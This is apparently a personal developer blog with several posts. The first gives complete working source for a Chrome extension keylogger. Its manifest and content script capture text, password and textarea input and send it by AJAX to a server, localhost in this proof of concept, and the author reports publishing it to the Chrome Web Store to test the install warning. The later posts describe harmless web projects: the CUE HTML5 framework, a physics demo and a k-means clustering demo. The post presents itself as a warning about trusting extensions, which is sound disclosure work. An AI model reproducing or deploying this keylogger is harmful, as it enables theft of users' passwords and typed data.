A thought (and proof-of-concept) about malicious Chrome extensions

Ok, today I made a simple Chrome extension, and suddenly got very excited about it (yeah I know, almost every blog post I write starts like this). Then reading about the extensions possibilities, I learned that the extensions are not limited by the same-origin policy.

This means that, if an extension made an AJAX request, it could be directed to a server different from the domain of the current page. This can be harmful in some different ways, the first I imagine is a simple keylogger extension which logs everything you type (passwords included) and sends it to a malicious server to collect them.

And that’s what I made, just to understand how difficult it was, and which kind of warning would the Google Web Store issue when you decide to add it to your browser.

Making the malicious extension

Actually, since that you can inject javascript, making the keylogger extension is straightforward: you just have to write two files, a manifest and the script:

manifest.json:

{
  "manifest_version": 2,
"name": "KeyLogger",
"description": "This extension logs everything you type.",
"version": "1.0.1",

"permissions": [
"http://*/*", "https://*/*"
],

"content_scripts": [{
"matches": ["http://*/*", "https://*/*"],
"js": ["script.js"]
}]
}

script.js:

var xmlhttp = new XMLHttpRequest();
console.log('Starting keylogger..')

setInterval( function() {

var inputs = document.getElementsByTagName('input')

var textAreas = document.getElementsByTagName('textarea')

var myLog = function(event) {
var what = encodeURIComponent(event.srcElement.value)

console.log("Logged: " + what)
console.log("Sending data to remote server..")
xmlhttp.open("GET","http://localhost/?"+what,true);
xmlhttp.send();
}

var getHandler = function(previousHandler,obj) {
return function(e) {
myLog(e);
if(previousHandler) previousHandler(e);
}
}

for(var i=0; i<inputs.length; i++) {
if(inputs[i].getAttribute('type') == 'text' || inputs[i].getAttribute('type') == 'password') {
inputs[i].onblur = getHandler(inputs[i].onblur,inputs[i])
}
}

for(var i=0; i<textAreas.length; i++) {
textAreas[i].onblur = getHandler(textAreas[i].onblur,textAreas[i])
}
},2000)

The script is a simple implementation that sends via AJAX requests every text you type in a textbox, password fields included. In this simple proof of concept it sends everything to localhost.

I tried it, and it works.

Installing the extension

 

I published it to the Chrome Web Store, and tried to install it, to see what kind of warning should show up, and all I got was this:

keyloggerwarning

 

..not so uncommon for, say, an Advertising blocking extension:

adblockpermissions

 

So this blog post is here to remind you that you should use only trusted Chrome extensions. It’s very easy to steal your data with a malicious chrome extension, it’s easy to hide some malicious code in a apparently innocent extensions and after you have installed it, it’s easy to forget about it.

Please don’t do bad things with my code and/or ideas.

 

Chrome Extension to block sponsored posts on the Facebook timeline

That’s what I did today. I wanted to find out how difficult actually was to make a chrome extension which injects some javascript in a page. After a discussion with some friends about website advertising I got the idea, and made the simple extension.

As part of the test, I registered a Chrome Web Store developer account and published the extension. I’ll post the link here as soon as the extension is accepted.

Update: here’s the link

HTML5 Android apps

Some days ago me and a classmate of mine (Marco Virgolin), due to a lack of serious things to do, developed a simple quiz game as a web app, then we included it in an android app using WebView.

I write this post just to keep track of the projects I’ve been doing.

Here’s the links for the Android apps (yes, we cloned the first and made a second one):

 

The original: https://play.google.com/store/apps/details?id=com.quizdurello.quixxx

and the clone: https://play.google.com/store/apps/details?id=com.quizes.quizdogs

The Web Browser Rain

I recently discovered the library Physics.js, which is a physic engine written in Javascript for the web. It’s very interesting, so I decided to make a little project to understand how it works. On its website there are some tutorial, it’s pretty easy to get started following the instructions on that website.

After some fun coding, here‘s my result, made using the CUE framework I’ve recently written about.

CUE Framework

Today I write about another project I’ve been developing in these days.

It is the natural evolution of one of my last projects, which took me to think about a more general framework to make simple HTML 5 based websites, which look a lot like presentations, but with some enhanced components and interactive capabilities.

I named it CUE, and it’s declarative. I thought that a very tight framework like this could be the right thing to make declarative, given his simplicity and relatively few components. So you could write a simple website with this framework just by editing one html file, without needing any scripting (if you don’t need any additional components).

If you want to take a look and have a little introduction to it, visit the CUE presentation website, made of course with CUE.

Now let’s get more technical.

First of all, the framework is strongly based on jQuery, so you’ll need to include it for getting it to work. Then you can just include the CUE script file, which is quite straightforward:

<script src="https://www.nicassio.it/daniele/cue/cue.js"></script>

Then, writing the pages is quite easy too.

If you have already visited the presentation website, you should now understand what Screens and Pages are. Now that you now this, we will learn how to create some sample screens and pages, to make a little presentation website, with a bgImage and a bgGradient, with the music player and the sitemap component.

Actually, it’s really easy, and this is what your HTML should look like:

<html>
  <head>
    <title>Your title</title>
  </head>
  <body>
  <script src="your_jquery_include.js"></script>
  <cue>
      <player song="your_song.ogg"></player>
      <sitemap></sitemap>
      <page>
        <screen>
          <bgImage src="your_image.jpg"></bgImage>
          <bgCaption>First screen caption</bgCaption>
          <content>
            This is my content, here I can place any <span class="banana">HTML code</span>.
          <span trigger="nextScreen">This is a trigger</span>
          </content>
        </screen>
        <screen>
          <bgGradient type="top" color1="red" color2="black"></bgGradient>
          <bgCaption>Second screen caption</bgCaption>
          <content>
            This is the second page.
          </content>
        </screen>
      </page>
      <page>
        <screen>
          <bgImage src="your_image.jpg"></bgImage>
          <bgCaption>First screen caption</bgCaption>
          <content>
            This is the third page.
            <span trigger="nextScreen">This is a trigger</span>
          </content>
        </screen>
        <screen>
          <bgGradient type="top" color1="red" color2="black"></bgGradient>
          <bgCaption>Second screen caption</bgCaption>
          <content>
            This is the fourth page.
          </content>
        </screen>
      </page>
    </cue>
    <script src="https://www.nicassio.it/daniele/cue/cue.js"></script>
  </body>
</html>

Styling

Now, you should worry about the styling. Of course, to be customizable, you can style all your content with usual CSS. Anyway, you should know that there are other components which can be styled in the usual way: bgCaption can be provided with a class=”” parameter which will be used as a class by the framework. The same works with player and bgImage, if you need some extra styling there.

Fonts

In general, fonts can be styled with usual CSS too. But since nowadays the screen size is very variable, I introduced a class which manages the font dimension and keeps it dinamically sized relatively to the screen size.

Therefore, if you use a relative font size unit like % or em, the font size will be automatically adjusted by the framework, which modifies the body style so that every child which uses relative fonts will be modified too.

Triggers

The last thing to talk about is triggers. As you read in the presentation, a click in the first screen by default triggers the next page, not the next screen. You will need a way to set a trigger. As you see in the code above, a trigger is set simply by adding the trigger=”” parameter in an element of the content.

The triggers avaiable for use are so far:

  • nextScreen
  • nextPage
  • play
  • showPlayer

If you want to use multiple triggers for an element, do it the HTML way:

<span trigger="play showPlayer">trigger</span>

And that’s it.

I’ve developed this framework for fun, and it may be buggy. I will probably keep updating it for a while, but I can’t promise I will update this post too.

An engaging design with HTML5

This little project consists in an HTML5 page/script to make “rich presentations”. The idea is to create a design which easily takes advantage of what HTML5 offers.

In this example I decided to implement a slideshow of photos enhanced with background music, which helps creating a very pleasing experience for the user. You could fully control the user experience also by setting timers to trigger the pages, or preventing people to skip pages by clicking, and so on. Unfortunately, the code is still very messed up, but I’m planning to organize it better and maybe share it in the future updating this post.

The project was created to experience some of the power of HTML5, which includes the audio tag and the fullscreen option (which I get with this jQuery plugin).

I didn’t try (I run linux on my PCs) but I wouldn’t be surprised in discovering that IE cannot execute the page correctly. It was tested on Firefox and Chromium, having a little better performances achieved by Firefox.

Here’s the link to the example, which uses photos taken by a friend of mine, Stefano Collovati, who I want to publicly thanks here for his help in designing the prototype.

All the photos are property of Stefano Collovati, you should contact him if you want further information about using and/or sharing them.

Genetic Shaping Layout

It’s been a long time since I decided to try to use genetic algorithms for optimizing a web page style, and here’s my first try. The idea is simple: generating some random styles and then making the user choose which one he prefer. Then using the genetic rules to combine the chosen CSS with the other’s. Actually with a ‘population’ of only six elements it doesn’t have a real genetic value, but the principle is the same.

The problem with this kind of implementation is that you need a human to select the best styles generated, and this prevents from having large population and selection. However, a possibility could be to implement this server side, taking advantage of the selection made by multiple users.

Here’s the link.

Implementation of a K Means Clustering to classify documents by language

Recently i’ve been interested in machine learning, and made some sample implementations to understand better the subject. In particular recently i’ve implemented a simplified version of the K-Means Clustering classifier and then I decided to apply this algorithm to a more practical task.

I’ve implemented the K-Means Clustering to classify some text by the language it’s written in. In brief, you can provide some different text to the algorithm, decide in how many groups you want them to be classified and then run the algorithm. It will partition the text depending on the different relative frequency of the letters in it, trying to recognize some structure in the different languages. It’s not perfect, but works, and there’s a live version to try here.

The larger the text is, the more the algorithm will be accurate. In fact, with short text the result will be quite random.

Graphical representation of a sample K Means Clustering classifier

Moving to the second lesson of this tutorial, i’ve learnt about the K Means Clustering classifier. Basically, We’re giving the algorithm some points of the space and it will partition the elements in K different sets. The algorithm is really easy, I suggest you to read the tutorial for further information.

The only thing I want to explain here about this algorithm is that, given a certain dataset (in our case a set of points) you should already know in how many sets you should partition it. Otherwise, the algorithm will get to a solution which may be inaccurate. To better understand this, try to use my little implementation (the link is below) making 6 sets of close points, and try to run the algorithm with K different from 6. You’ll understand why it’s important to have an accurate guess of the K value.

I modified my recent implementation of the K Nearest Neighbour to use this algorithm.

Here’s the link.